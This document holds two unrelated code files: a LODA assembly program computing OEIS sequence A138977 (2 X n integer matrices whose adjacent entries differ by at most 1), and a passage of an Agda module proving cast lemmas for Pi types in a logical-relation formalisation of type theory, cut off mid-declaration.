programs/oeis/138/A138977.asm | neoneye/loda | 22 | 161780 | ; A138977: Number of 2 X n matrices containing a 1 in the top left entry, all entries are integer values and adjacent entries differ by at most 1.
; 3,19,121,771,4913,31307,199497,1271251,8100769,51620379,328939577,2096095523,13356910353,85113990379,542370291241,3456136077171,22023471375233,140339755317947,894284401724697,5698631790801091,36313284928708849,231398467337757579,1474536131649467657,9396159052195243283,59874968838768832353,381540145662600853339,2431281144283130643961,15492807427331511094371,98724527414188055084753,629100462189990341215787,4008805125673180168171497,25545234030952299812337331,162781417713973378013675329,1037288987874004446846377979,6609897244262137615869944537,42120124758338945523704099843,268401284331324068202448920753,1710328491285912695322326045899,10898694301676092594446486638281,69449546146588997379836102284371,442552045819418611281066769437473,2820066136149574289448122976924827,17970254769769345581012593760723897,114511518843787121909295664417367971,729699612827432471041019275878680209
mov $1,6
mov $2,1
lpb $0
sub $0,1
add $2,$1
mul $1,2
add $1,$2
mul $1,2
lpe
div $1,2
mov $0,$1
|
Definition/LogicalRelation/Substitution/Introductions/Castlemmas.agda | CoqHott/logrel-mltt | 2 | 13032 | {-# OPTIONS --safe #-}
open import Definition.Typed.EqualityRelation
module Definition.LogicalRelation.Substitution.Introductions.Castlemmas {{eqrel : EqRelSet}} where
open EqRelSet {{...}}
open import Definition.Untyped
open import Definition.Untyped.Properties
open import Definition.Typed
open import Definition.Typed.Properties
import Definition.Typed.Weakening as Twk
open import Definition.Typed.EqualityRelation
open import Definition.Typed.RedSteps
open import Definition.LogicalRelation
open import Definition.LogicalRelation.Irrelevance
open import Definition.LogicalRelation.Properties
open import Definition.LogicalRelation.Application
open import Definition.LogicalRelation.Substitution
import Definition.LogicalRelation.Weakening as Lwk
open import Definition.LogicalRelation.Substitution.Properties
import Definition.LogicalRelation.Substitution.Irrelevance as S
open import Definition.LogicalRelation.Substitution.Reflexivity
open import Definition.LogicalRelation.Substitution.Weakening
-- open import Definition.LogicalRelation.Substitution.Introductions.Nat
open import Definition.LogicalRelation.Substitution.Introductions.Empty
-- open import Definition.LogicalRelation.Substitution.Introductions.Pi
-- open import Definition.LogicalRelation.Substitution.Introductions.SingleSubst
open import Definition.LogicalRelation.Substitution.Introductions.Universe
open import Definition.LogicalRelation.Substitution.MaybeEmbed
open import Tools.Product
open import Tools.Empty
import Tools.Unit as TU
import Tools.PropositionalEquality as PE
import Data.Nat as Nat
module cast-ΠΠ-lemmas
{Γ rF F F₁}
(⊢Γ : ⊢ Γ)
(⊢F : Γ ⊢ F ^ [ rF , ι ⁰ ])
([F] : ∀ {ρ} {Δ} ([ρ] : ρ Twk.∷ Δ ⊆ Γ) (⊢Δ : ⊢ Δ) → Δ ⊩⟨ ι ⁰ ⟩ wk ρ F ^ [ rF , ι ⁰ ])
(⊢F₁ : Γ ⊢ F₁ ^ [ rF , ι ⁰ ])
([F₁] : ∀ {ρ} {Δ} ([ρ] : ρ Twk.∷ Δ ⊆ Γ) (⊢Δ : ⊢ Δ) → Δ ⊩⟨ ι ⁰ ⟩ wk ρ F₁ ^ [ rF , ι ⁰ ])
(recursor : ∀ {x e ρ Δ}
([ρ] : ρ Twk.∷ Δ ⊆ Γ) (⊢Δ : ⊢ Δ)
([x] : Δ ⊩⟨ ι ⁰ ⟩ x ∷ wk ρ F₁ ^ [ rF , ι ⁰ ] / [F₁] [ρ] ⊢Δ)
(⊢e : Δ ⊢ e ∷ Id (Univ rF ⁰) (wk ρ F₁) (wk ρ F) ^ [ % , ι ¹ ])
→ Δ ⊩⟨ ι ⁰ ⟩ cast ⁰ (wk ρ F₁) (wk ρ F) e x ∷ wk ρ F ^ [ rF , ι ⁰ ] / [F] [ρ] ⊢Δ)
(extrecursor : ∀ {ρ Δ x y e e′}
→ ([ρ] : ρ Twk.∷ Δ ⊆ Γ) (⊢Δ : ⊢ Δ)
→ ([x] : Δ ⊩⟨ ι ⁰ ⟩ x ∷ wk ρ F₁ ^ [ rF , ι ⁰ ] / [F₁] [ρ] ⊢Δ)
→ ([y] : Δ ⊩⟨ ι ⁰ ⟩ y ∷ wk ρ F₁ ^ [ rF , ι ⁰ ] / [F₁] [ρ] ⊢Δ)
→ ([x≡y] : Δ ⊩⟨ ι ⁰ ⟩ x ≡ y ∷ wk ρ F₁ ^ [ rF , ι ⁰ ] / [F₁] [ρ] ⊢Δ)
→ (⊢e : Δ ⊢ e ∷ Id (Univ rF ⁰) (wk ρ F₁) (wk ρ F) ^ [ % , ι ¹ ])
→ (⊢e′ : Δ ⊢ e′ ∷ Id (Univ rF ⁰) (wk ρ F₁) (wk ρ F) ^ [ % , ι ¹ ])
→ Δ ⊩⟨ ι ⁰ ⟩ cast ⁰ (wk ρ F₁) (wk ρ F) e x ≡ cast ⁰ (wk ρ F₁) (wk ρ F) e′ y ∷ wk ρ F ^ [ rF , ι ⁰ ] / [F] [ρ] ⊢Δ)
where
b = λ ρ e x → cast ⁰ (wk ρ F₁) (wk ρ F) (Idsym (Univ rF ⁰) (wk ρ F) (wk ρ F₁) e) x
[b] : ∀ {ρ Δ e x} → ([ρ] : ρ Twk.∷ Δ ⊆ Γ) (⊢Δ : ⊢ Δ)
→ (Δ ⊢ e ∷ Id (Univ rF ⁰) (wk ρ F) (wk ρ F₁) ^ [ % , ι ¹ ])
→ (Δ ⊩⟨ ι ⁰ ⟩ x ∷ wk ρ F₁ ^ [ rF , ι ⁰ ] / [F₁] [ρ] ⊢Δ)
→ Δ ⊩⟨ ι ⁰ ⟩ b ρ e x ∷ wk ρ F ^ [ rF , ι ⁰ ] / [F] [ρ] ⊢Δ
[b] [ρ] ⊢Δ ⊢e [x] =
let
⊢e′ = Idsymⱼ (univ 0<1 ⊢Δ) (un-univ (escape ([F] [ρ] ⊢Δ)))
(un-univ (escape ([F₁] [ρ] ⊢Δ))) ⊢e
in recursor [ρ] ⊢Δ [x] ⊢e′
[bext] : ∀ {ρ Δ e e′ x y} → ([ρ] : ρ Twk.∷ Δ ⊆ Γ) (⊢Δ : ⊢ Δ)
→ (Δ ⊢ e ∷ Id (Univ rF ⁰) (wk ρ F) (wk ρ F₁) ^ [ % , ι ¹ ])
→ (Δ ⊢ e′ ∷ Id (Univ rF ⁰) (wk ρ F) (wk ρ F₁) ^ [ % , ι ¹ ])
→ (Δ ⊩⟨ ι ⁰ ⟩ x ∷ wk ρ F₁ ^ [ rF , ι ⁰ ] / [F₁] [ρ] ⊢Δ)
→ (Δ ⊩⟨ ι ⁰ ⟩ y ∷ wk ρ F₁ ^ [ rF , ι ⁰ ] / [F₁] [ρ] ⊢Δ)
→ (Δ ⊩⟨ ι ⁰ ⟩ x ≡ y ∷ wk ρ F₁ ^ [ rF , ι ⁰ ] / [F₁] [ρ] ⊢Δ)
→ Δ ⊩⟨ ι ⁰ ⟩ b ρ e x ≡ b ρ e′ y ∷ wk ρ F ^ [ rF , ι ⁰ ] / [F] [ρ] ⊢Δ
[bext] [ρ] ⊢Δ ⊢e ⊢e′ [x] [y] [x≡y] =
let
⊢syme = Idsymⱼ (univ 0<1 ⊢Δ) (un-univ (escape ([F] [ρ] ⊢Δ)))
(un-univ (escape ([F₁] [ρ] ⊢Δ))) ⊢e
⊢syme′ = Idsymⱼ (univ 0<1 ⊢Δ) (un-univ (escape ([F] [ρ] ⊢Δ)))
(un-univ (escape ([F₁] [ρ] ⊢Δ))) ⊢e′
in extrecursor [ρ] ⊢Δ [x] [y] [x≡y] ⊢syme ⊢syme′
module cast-ΠΠ-lemmas-2
{t e f Γ A B F rF G F₁ G₁}
(⊢Γ : ⊢ Γ)
(⊢A : Γ ⊢ A ^ [ ! , ι ⁰ ])
(⊢ΠFG : Γ ⊢ Π F ^ rF ° ⁰ ▹ G ° ⁰ ° ⁰ ^ [ ! , ι ⁰ ])
(D : Γ ⊢ A ⇒* Π F ^ rF ° ⁰ ▹ G ° ⁰ ° ⁰ ^ [ ! , ι ⁰ ])
(⊢F : Γ ⊢ F ^ [ rF , ι ⁰ ])
(⊢G : (Γ ∙ F ^ [ rF , ι ⁰ ]) ⊢ G ^ [ ! , ι ⁰ ])
(A≡A : Γ ⊢ (Π F ^ rF ° ⁰ ▹ G ° ⁰ ° ⁰) ≅ (Π F ^ rF ° ⁰ ▹ G ° ⁰ ° ⁰) ^ [ ! , ι ⁰ ])
([F] : ∀ {ρ} {Δ} ([ρ] : ρ Twk.∷ Δ ⊆ Γ) (⊢Δ : ⊢ Δ) → Δ ⊩⟨ ι ⁰ ⟩ wk ρ F ^ [ rF , ι ⁰ ])
([G] : ∀ {ρ} {Δ} {a} ([ρ] : ρ Twk.∷ Δ ⊆ Γ) (⊢Δ : ⊢ Δ)
([a] : Δ ⊩⟨ ι ⁰ ⟩ a ∷ wk ρ F ^ [ rF , ι ⁰ ] / ([F] [ρ] ⊢Δ))
→ (Δ ⊩⟨ ι ⁰ ⟩ wk (lift ρ) G [ a ] ^ [ ! , ι ⁰ ]))
(G-ext : ∀ {ρ} {Δ} {a} {b} ([ρ] : ρ Twk.∷ Δ ⊆ Γ) (⊢Δ : ⊢ Δ)
([a] : Δ ⊩⟨ ι ⁰ ⟩ a ∷ wk ρ F ^ [ rF , ι ⁰ ] / ([F] [ρ] ⊢Δ))
([b] : Δ ⊩⟨ ι ⁰ ⟩ b ∷ wk ρ F ^ [ rF , ι ⁰ ] / ([F] [ρ] ⊢Δ))
([a≡b] : Δ ⊩⟨ ι ⁰ ⟩ a ≡ b ∷ wk ρ F ^ [ rF , ι ⁰ ] / ([F] [ρ] ⊢Δ))
→ (Δ ⊩⟨ ι ⁰ ⟩ wk (lift ρ) G [ a ] ≡ wk (lift ρ) G [ b ] ^ [ ! , ι ⁰ ] / ([G] [ρ] ⊢Δ [a])))
(⊢B : Γ ⊢ B ^ [ ! , ι ⁰ ])
(⊢ΠF₁G₁ : Γ ⊢ Π F₁ ^ rF ° ⁰ ▹ G₁ ° ⁰ ° ⁰ ^ [ ! , ι ⁰ ])
(D₁ : Γ ⊢ B ⇒* Π F₁ ^ rF ° ⁰ ▹ G₁ ° ⁰ ° ⁰ ^ [ ! , ι ⁰ ])
(⊢F₁ : Γ ⊢ F₁ ^ [ rF , ι ⁰ ])
(⊢G₁ : (Γ ∙ F₁ ^ [ rF , ι ⁰ ]) ⊢ G₁ ^ [ ! , ι ⁰ ])
(A₁≡A₁ : Γ ⊢ (Π F₁ ^ rF ° ⁰ ▹ G₁ ° ⁰ ° ⁰) ≅ (Π F₁ ^ rF ° ⁰ ▹ G₁ ° ⁰ ° ⁰) ^ [ ! , ι ⁰ ])
([F₁] : ∀ {ρ} {Δ} ([ρ] : ρ Twk.∷ Δ ⊆ Γ) (⊢Δ : ⊢ Δ) → Δ ⊩⟨ ι ⁰ ⟩ wk ρ F₁ ^ [ rF , ι ⁰ ])
([G₁] : ∀ {ρ} {Δ} {a} ([ρ] : ρ Twk.∷ Δ ⊆ Γ) (⊢Δ : ⊢ Δ)
([a] : Δ ⊩⟨ ι ⁰ ⟩ a ∷ wk ρ F₁ ^ [ rF , ι ⁰ ] / ([F₁] [ρ] ⊢Δ))
→ (Δ ⊩⟨ ι ⁰ ⟩ wk (lift ρ) G₁ [ a ] ^ [ ! , ι ⁰ ]))
(G₁-ext : ∀ {ρ} {Δ} {a} {b} ([ρ] : ρ Twk.∷ Δ ⊆ Γ) (⊢Δ : ⊢ Δ)
([a] : Δ ⊩⟨ ι ⁰ ⟩ a ∷ wk ρ F₁ ^ [ rF , ι ⁰ ] / ([F₁] [ρ] ⊢Δ))
([b] : Δ ⊩⟨ ι ⁰ ⟩ b ∷ wk ρ F₁ ^ [ rF , ι ⁰ ] / ([F₁] [ρ] ⊢Δ))
([a≡b] : Δ ⊩⟨ ι ⁰ ⟩ a ≡ b ∷ wk ρ F₁ ^ [ rF , ι ⁰ ] / ([F₁] [ρ] ⊢Δ))
→ (Δ ⊩⟨ ι ⁰ ⟩ wk (lift ρ) G₁ [ a ] ≡ wk (lift ρ) G₁ [ b ] ^ [ ! , ι ⁰ ] / ([G₁] [ρ] ⊢Δ [a])))
(⊢e : Γ ⊢ e ∷ Id (U ⁰) A B ^ [ % , ι ¹ ])
(recursor : ∀ {ρ Δ x y t e}
([ρ] : ρ Twk.∷ Δ ⊆ Γ) (⊢Δ : ⊢ Δ)
([x] : Δ ⊩⟨ ι ⁰ ⟩ x ∷ wk ρ F ^ [ rF , ι ⁰ ] / [F] [ρ] ⊢Δ)
([y] : Δ ⊩⟨ ι ⁰ ⟩ y ∷ wk ρ F₁ ^ [ rF , ι ⁰ ] / [F₁] [ρ] ⊢Δ)
([t] : Δ ⊩⟨ ι ⁰ ⟩ t ∷ wk (lift ρ) G [ x ] ^ [ ! , ι ⁰ ] / [G] [ρ] ⊢Δ [x])
(⊢e : Δ ⊢ e ∷ Id (U ⁰) (wk (lift ρ) G [ x ]) (wk (lift ρ) G₁ [ y ]) ^ [ % , ι ¹ ])
→ Δ ⊩⟨ ι ⁰ ⟩ cast ⁰ (wk (lift ρ) G [ x ]) (wk (lift ρ) G₁ [ y ]) e t ∷ wk (lift ρ) G₁ [ y ] ^ [ ! , ι ⁰ ] / [G₁] [ρ] ⊢Δ [y])
(extrecursor : ∀ {ρ Δ x x′ y y′ t t′ e e′}
→ ([ρ] : ρ Twk.∷ Δ ⊆ Γ) (⊢Δ : ⊢ Δ)
→ ([x] : Δ ⊩⟨ ι ⁰ ⟩ x ∷ wk ρ F ^ [ rF , ι ⁰ ] / [F] [ρ] ⊢Δ)
→ ([x′] : Δ ⊩⟨ ι ⁰ ⟩ x′ ∷ wk ρ F ^ [ rF , ι ⁰ ] / [F] [ρ] ⊢Δ)
→ ([x≡x′] : Δ ⊩⟨ ι ⁰ ⟩ x ≡ x′ ∷ wk ρ F ^ [ rF , ι ⁰ ] / [F] [ρ] ⊢Δ)
→ ([y] : Δ ⊩⟨ ι ⁰ ⟩ y ∷ wk ρ F₁ ^ [ rF , ι ⁰ ] / [F₁] [ρ] ⊢Δ)
→ ([y′] : Δ ⊩⟨ ι ⁰ ⟩ y′ ∷ wk ρ F₁ ^ [ rF , ι ⁰ ] / [F₁] [ρ] ⊢Δ)
→ ([y≡y′] : Δ ⊩⟨ ι ⁰ ⟩ y ≡ y′ ∷ wk ρ F₁ ^ [ rF , ι ⁰ ] / [F₁] [ρ] ⊢Δ)
→ ([t] : Δ ⊩⟨ ι ⁰ ⟩ t ∷ wk (lift ρ) G [ x ] ^ [ ! , ι ⁰ ] / [G] [ρ] ⊢Δ [x])
→ ([t′] : Δ ⊩⟨ ι ⁰ ⟩ t′ ∷ wk (lift ρ) G [ x′ ] ^ [ ! , ι ⁰ ] / [G] [ρ] ⊢Δ [x′])
→ ([t≡t′] : Δ ⊩⟨ ι ⁰ ⟩ t ≡ t′ ∷ wk (lift ρ) G [ x ] ^ [ ! , ι ⁰ ] / [G] [ρ] ⊢Δ [x])
→ (⊢e : Δ ⊢ e ∷ Id (U ⁰) (wk (lift ρ) G [ x ]) (wk (lift ρ) G₁ [ y ]) ^ [ % , ι ¹ ])
→ (⊢e′ : Δ ⊢ e′ ∷ Id (U ⁰) (wk (lift ρ) G [ x′ ]) (wk (lift ρ) G₁ [ y′ ]) ^ [ % , ι ¹ ])
→ Δ ⊩⟨ ι ⁰ ⟩ cast ⁰ (wk (lift ρ) G [ x ]) (wk (lift ρ) G₁ [ y ]) e t ≡ cast ⁰ (wk (lift ρ) G [ x′ ]) (wk (lift ρ) G₁ [ y′ ]) e′ t′ ∷ wk (lift ρ) G₁ [ y ] ^ [ ! , ι ⁰ ] / [G₁] [ρ] ⊢Δ [y])
(⊢t : Γ ⊢ t ∷ Π F ^ rF ° ⁰ ▹ G ° ⁰ ° ⁰ ^ [ ! , ι ⁰ ])
(Df : Γ ⊢ t ⇒* f ∷ Π F ^ rF ° ⁰ ▹ G ° ⁰ ° ⁰ ^ ι ⁰)
([fext] : ∀ {ρ Δ a b} →
([ρ] : ρ Twk.∷ Δ ⊆ Γ) (⊢Δ : ⊢ Δ)
([a] : Δ ⊩⟨ ι ⁰ ⟩ a ∷ wk ρ F ^ [ rF , ι ⁰ ] / [F] [ρ] ⊢Δ)
([b] : Δ ⊩⟨ ι ⁰ ⟩ b ∷ wk ρ F ^ [ rF , ι ⁰ ] / [F] [ρ] ⊢Δ)
([a≡b] : Δ ⊩⟨ ι ⁰ ⟩ a ≡ b ∷ wk ρ F ^ [ rF , ι ⁰ ] / [F] [ρ] ⊢Δ)
→ Δ ⊩⟨ ι ⁰ ⟩ wk ρ f ∘ a ^ ⁰ ≡ wk ρ f ∘ b ^ ⁰ ∷ wk (lift ρ) G [ a ] ^ [ ! , ι ⁰ ] / [G] [ρ] ⊢Δ [a])
([f] : ∀ {ρ Δ a}
→ ([ρ] : ρ Twk.∷ Δ ⊆ Γ) (⊢Δ : ⊢ Δ)
→ ([a] : Δ ⊩⟨ ι ⁰ ⟩ a ∷ wk ρ F ^ [ rF , ι ⁰ ] / [F] [ρ] ⊢Δ)
→ Δ ⊩⟨ ι ⁰ ⟩ wk ρ f ∘ a ^ ⁰ ∷ wk (lift ρ) G [ a ] ^ [ ! , ι ⁰ ] / [G] [ρ] ⊢Δ [a])
([b] : ∀ {ρ Δ e x}
([ρ] : ρ Twk.∷ Δ ⊆ Γ) (⊢Δ : ⊢ Δ)
(⊢e : Δ ⊢ e ∷ Id (Univ rF ⁰) (wk ρ F) (wk ρ F₁) ^ [ % , ι ¹ ])
([x] : Δ ⊩⟨ ι ⁰ ⟩ x ∷ wk ρ F₁ ^ [ rF , ι ⁰ ] / [F₁] [ρ] ⊢Δ)
→ Δ ⊩⟨ ι ⁰ ⟩ cast ⁰ (wk ρ F₁) (wk ρ F) (Idsym (Univ rF ⁰) (wk ρ F) (wk ρ F₁) e) x ∷ wk ρ F ^ [ rF , ι ⁰ ] / [F] [ρ] ⊢Δ)
([bext] : ∀ {ρ Δ e e′ x y} → ([ρ] : ρ Twk.∷ Δ ⊆ Γ) (⊢Δ : ⊢ Δ)
→ (Δ ⊢ e ∷ Id (Univ rF ⁰) (wk ρ F) (wk ρ F₁) ^ [ % , ι ¹ ])
→ (Δ ⊢ e′ ∷ Id (Univ rF ⁰) (wk ρ F) (wk ρ F₁) ^ [ % , ι ¹ ])
→ (Δ ⊩⟨ ι ⁰ ⟩ x ∷ wk ρ F₁ ^ [ rF , ι ⁰ ] / [F₁] [ρ] ⊢Δ)
→ (Δ ⊩⟨ ι ⁰ ⟩ y ∷ wk ρ F₁ ^ [ rF , ι ⁰ ] / [F₁] [ρ] ⊢Δ)
→ (Δ ⊩⟨ ι ⁰ ⟩ x ≡ y ∷ wk ρ F₁ ^ [ rF , ι ⁰ ] / [F₁] [ρ] ⊢Δ)
→ Δ ⊩⟨ ι ⁰ ⟩ cast ⁰ (wk ρ F₁) (wk ρ F) (Idsym (Univ rF ⁰) (wk ρ F) (wk ρ F₁) e) x
≡ cast ⁰ (wk ρ F₁) (wk ρ F) (Idsym (Univ rF ⁰) (wk ρ F) (wk ρ F₁) e′) y ∷ wk ρ F ^ [ rF , ι ⁰ ] / [F] [ρ] ⊢Δ)
where
b = λ ρ e x → cast ⁰ (wk ρ F₁) (wk ρ F) (Idsym (Univ rF ⁰) (wk ρ F) (wk ρ F₁) e) x
⊢IdFF₁ : Γ ⊢ Id (Univ rF ⁰) F F₁ ^ [ % , ι ¹ ]
⊢IdFF₁ = univ (Idⱼ (univ 0<1 ⊢Γ) (un-univ ⊢F) (un-univ ⊢F₁))
Δ₀ = Γ ∙ Id (Univ rF ⁰) F F₁ ^ [ % , ι ¹ ] ∙ wk1 F₁ ^ [ rF , ι ⁰ ]
ρ₀ = (step (step id))
⊢IdG₁G : Γ ∙ Id (Univ rF ⁰) F F₁ ^ [ % , ι ¹ ] ⊢ Π (wk1 F₁) ^ rF ° ⁰ ▹ Id (U ⁰) ((wk1d G) [ b ρ₀ (var 1) (var 0) ]↑) (wk1d G₁) ° ¹ ° ¹ ^ [ % , ι ¹ ]
⊢IdG₁G =
let
⊢Δ₀ : ⊢ Δ₀
⊢Δ₀ = ⊢Γ ∙ ⊢IdFF₁ ∙ univ (Twk.wkTerm (Twk.step Twk.id) (⊢Γ ∙ ⊢IdFF₁) (un-univ ⊢F₁))
[ρ₀] : ρ₀ Twk.∷ Δ₀ ⊆ Γ
[ρ₀] = Twk.step (Twk.step Twk.id)
[0] : Δ₀ ⊩⟨ ι ⁰ ⟩ var 0 ∷ wk ρ₀ F₁ ^ [ rF , ι ⁰ ] / [F₁] [ρ₀] ⊢Δ₀
[0] = let x = (var ⊢Δ₀ (PE.subst (λ X → 0 ∷ X ^ [ rF , ι ⁰ ] ∈ Δ₀) (wk1-wk (step id) F₁) here)) in
neuTerm ([F₁] [ρ₀] ⊢Δ₀) (var 0) x (~-var x)
⊢1 : Δ₀ ⊢ (var 1) ∷ Id (Univ rF ⁰) (wk ρ₀ F) (wk ρ₀ F₁) ^ [ % , ι ¹ ]
⊢1 = var ⊢Δ₀ (PE.subst₂ (λ X Y → 1 ∷ Id (Univ rF ⁰) X Y ^ [ % , ι ¹ ] ∈ Δ₀)
(wk1-wk (step id) F) (wk1-wk (step id) F₁) (there here))
⊢G₀ : Δ₀ ⊢ wk (lift ρ₀) G [ b ρ₀ (var 1) (var 0) ] ^ [ ! , ι ⁰ ]
⊢G₀ = escape ([G] [ρ₀] ⊢Δ₀ ([b] [ρ₀] ⊢Δ₀ ⊢1 [0]))
⊢G₀′ = PE.subst (λ X → Δ₀ ⊢ X ^ [ ! , ι ⁰ ]) (PE.sym (cast-subst-lemma2 G (b ρ₀ (var 1) (var 0)))) ⊢G₀
x₀ : Δ₀ ⊢ Id (U ⁰) ((wk1d G) [ b ρ₀ (var 1) (var 0) ]↑) (wk1d G₁) ∷ SProp ¹ ^ [ ! , ∞ ]
x₀ = Idⱼ (univ 0<1 ⊢Δ₀) (un-univ ⊢G₀′)
(un-univ (Twk.wk (Twk.lift (Twk.step Twk.id)) ⊢Δ₀ ⊢G₁))
x₁ = Πⱼ <is≤ 0<1 ▹ ≡is≤ PE.refl ▹ Twk.wkTerm (Twk.step Twk.id) (⊢Γ ∙ ⊢IdFF₁) (un-univ ⊢F₁) ▹ x₀
in univ x₁
⊢e′ : Γ ⊢ e ∷ ∃ (Id (Univ rF ⁰) F F₁) ▹ (Π (wk1 F₁) ^ rF ° ⁰ ▹ Id (U ⁰) ((wk1d G) [ b ρ₀ (var 1) (var 0) ]↑) (wk1d G₁) ° ¹ ° ¹) ^ [ % , ι ¹ ]
⊢e′ =
let
b₀ = cast ⁰ (wk1 (wk1 F₁)) (wk1 (wk1 F)) (Idsym (Univ rF ⁰) (wk1 (wk1 F)) (wk1 (wk1 F₁)) (var 1)) (var 0)
b≡b₀ : b ρ₀ (var 1) (var 0) PE.≡ b₀
b≡b₀ = PE.cong₂ (λ X Y → cast ⁰ Y X (Idsym (Univ rF ⁰) X Y (var 1)) (var 0))
(PE.sym (wk1-wk (step id) F)) (PE.sym (wk1-wk (step id) F₁))
x₀ = conv ⊢e (univ (Id-cong (refl (univ 0<1 ⊢Γ)) (un-univ≡ (subset* D)) (un-univ≡ (subset* D₁))))
x₁ = conv x₀ (univ (Id-U-ΠΠ (un-univ ⊢F) (un-univ ⊢G) (un-univ ⊢F₁) (un-univ ⊢G₁)))
x₂ = PE.subst (λ X → Γ ⊢ e ∷ ∃ (Id (Univ rF ⁰) F F₁) ▹ (Π (wk1 F₁) ^ rF ° ⁰ ▹ Id (U ⁰) ((wk1d G) [ X ]↑) (wk1d G₁) ° ¹ ° ¹) ^ [ % , ι ¹ ]) (PE.sym b≡b₀) x₁
in x₂
⊢fste : Γ ⊢ fst e ∷ Id (Univ rF ⁰) F F₁ ^ [ % , ι ¹ ]
⊢fste = fstⱼ (un-univ ⊢IdFF₁) (un-univ ⊢IdG₁G) ⊢e′
⊢snde : Γ ⊢ snd e ∷ Π F₁ ^ rF ° ⁰ ▹ Id (U ⁰) (wk1d G [ b (step id) (fst (wk1 e)) (var 0) ]) G₁ ° ¹ ° ¹ ^ [ % , ι ¹ ]
⊢snde =
let
x₀ = sndⱼ (un-univ ⊢IdFF₁) (un-univ ⊢IdG₁G) ⊢e′
x₁ = PE.subst₂ (λ X Y → Γ ⊢ snd e ∷ (Π X ^ rF ° ⁰ ▹ subst _ (Id (U ⁰) Y (wk1d G₁)) ° ¹ ° ¹) ^ [ % , ι ¹ ])
(wk1-singleSubst F₁ (fst e)) (cast-subst-lemma2 G (b ρ₀ (var 1) (var 0))) x₀
x₂ = PE.subst₂ (λ X Y → Γ ⊢ snd e ∷ Π F₁ ^ rF ° ⁰ ▹ Id (U ⁰) X Y ° ¹ ° ¹ ^ [ % , ι ¹ ])
(singleSubstLift (wk (lift ρ₀) G) (b ρ₀ (var 1) (var 0))) (wk1d-singleSubst G₁ (fst e)) x₁
σ = liftSubst (sgSubst (fst e))
b≡b : subst σ (b ρ₀ (var 1) (var 0)) PE.≡ b (step id) (fst (wk1 e)) (var 0)
b≡b = PE.trans (PE.cong (λ X → cast ⁰ (subst σ (wk ρ₀ F₁)) (subst σ (wk ρ₀ F)) X (var 0)) (subst-Idsym σ (Univ rF ⁰) (wk ρ₀ F) (wk ρ₀ F₁) (var 1)))
(PE.cong₂ (λ X Y → cast ⁰ Y X (Idsym (Univ rF ⁰) X Y (fst (wk1 e))) (var 0)) (cast-subst-lemma5 F (fst e)) (cast-subst-lemma5 F₁ (fst e)))
x₃ = PE.subst₂ (λ X Y → Γ ⊢ snd e ∷ Π F₁ ^ rF ° ⁰ ▹ Id (U ⁰) (X [ Y ]) G₁ ° ¹ ° ¹ ^ [ % , ι ¹ ])
(cast-subst-lemma3 G (fst e)) b≡b x₂
in x₃
⊢snde′ : ∀ {ρ Δ x} → ([ρ] : ρ Twk.∷ Δ ⊆ Γ) (⊢Δ : ⊢ Δ)
→ (⊢x : Δ ⊢ x ∷ wk ρ F₁ ^ [ rF , ι ⁰ ])
→ Δ ⊢ snd (wk ρ e) ∘ x ^ ¹ ∷ Id (U ⁰) (wk (lift ρ) G [ b ρ (fst (wk ρ e)) x ])
(wk (lift ρ) G₁ [ x ]) ^ [ % , ι ¹ ]
⊢snde′ {ρ} {Δ} {x} [ρ] ⊢Δ ⊢x =
let
-- I should probably make some generic lemma about pushing weakening and subst in b
y₀ = PE.trans (PE.cong (λ X → X [ x ]) (wk-Idsym (lift ρ) (Univ rF ⁰) (wk1 F) (wk1 F₁) (fst (wk1 e))))
(PE.trans (subst-Idsym (sgSubst x) (Univ rF ⁰) (wk (lift ρ) (wk1 F)) (wk (lift ρ) (wk1 F₁)) (fst (wk (lift ρ) (wk1 e))))
(PE.cong₃ (λ X Y Z → Idsym (Univ rF ⁰) X Y (fst Z)) (irrelevant-subst′ ρ F x) (irrelevant-subst′ ρ F₁ x) (irrelevant-subst′ ρ e x)))
y₁ : wk (lift ρ) (b (step id) (fst (wk1 e)) (var 0)) [ x ] PE.≡ b ρ (fst (wk ρ e)) x
y₁ = PE.cong₃ (λ X Y Z → cast ⁰ X Y Z x) (irrelevant-subst′ ρ F₁ x) (irrelevant-subst′ ρ F x) y₀
x₀ : Δ ⊢ (wk ρ (snd e)) ∘ x ^ ¹ ∷ Id (U ⁰) (wk (lift ρ) (wk1d G [ b (step id) (fst (wk1 e)) (var 0) ]) [ x ]) (wk (lift ρ) G₁ [ x ]) ^ [ % , ι ¹ ]
x₀ = Twk.wkTerm [ρ] ⊢Δ ⊢snde ∘ⱼ ⊢x
x₁ = PE.cong₂ (λ X Y → X [ Y ]) (cast-subst-lemma4 ρ x G) y₁
x₂ = PE.trans (singleSubstLift (wk (lift (lift ρ)) (wk1d G))
(wk (lift ρ) (b (step id) (fst (wk1 e)) (var 0)))) x₁
x₃ = PE.trans (PE.cong (λ X → X [ x ]) (wk-β {a = b (step id) (fst (wk1 e)) (var 0)} (wk1d G))) x₂
x₄ = PE.subst (λ X → Δ ⊢ snd (wk ρ e) ∘ x ^ ¹ ∷ Id (U ⁰) X (wk (lift ρ) G₁ [ x ]) ^ [ % , ι ¹ ]) x₃ x₀
in x₄
g = λ ρ x → cast ⁰ (wk (lift ρ) G [ b ρ (fst (wk ρ e)) x ]) (wk (lift ρ) G₁ [ x ])
((snd (wk ρ e)) ∘ x ^ ¹) ((wk ρ t) ∘ (b ρ (fst (wk ρ e)) x) ^ ⁰)
[g] : ∀ {ρ Δ x} → ([ρ] : ρ Twk.∷ Δ ⊆ Γ) (⊢Δ : ⊢ Δ)
→ ([x] : Δ ⊩⟨ ι ⁰ ⟩ x ∷ wk ρ F₁ ^ [ rF , ι ⁰ ] / [F₁] [ρ] ⊢Δ)
→ Δ ⊩⟨ ι ⁰ ⟩ g ρ x ∷ wk (lift ρ) G₁ [ x ] ^ [ ! , ι ⁰ ] / [G₁] [ρ] ⊢Δ [x]
[g] {ρ} {Δ} {x} [ρ] ⊢Δ [x] =
let
[b]′ = [b] [ρ] ⊢Δ (Twk.wkTerm [ρ] ⊢Δ ⊢fste) [x]
[t] = proj₁ (redSubst*Term (appRed* (escapeTerm ([F] [ρ] ⊢Δ) [b]′) (Twk.wkRed*Term [ρ] ⊢Δ Df))
([G] [ρ] ⊢Δ [b]′) ([f] [ρ] ⊢Δ [b]′))
in recursor [ρ] ⊢Δ [b]′ [x] [t] (⊢snde′ [ρ] ⊢Δ (escapeTerm ([F₁] [ρ] ⊢Δ) [x]))
[gext] : ∀ {ρ Δ x y} → ([ρ] : ρ Twk.∷ Δ ⊆ Γ) (⊢Δ : ⊢ Δ)
→ ([x] : Δ ⊩⟨ ι ⁰ ⟩ x ∷ wk ρ F₁ ^ [ rF , ι ⁰ ] / [F₁] [ρ] ⊢Δ)
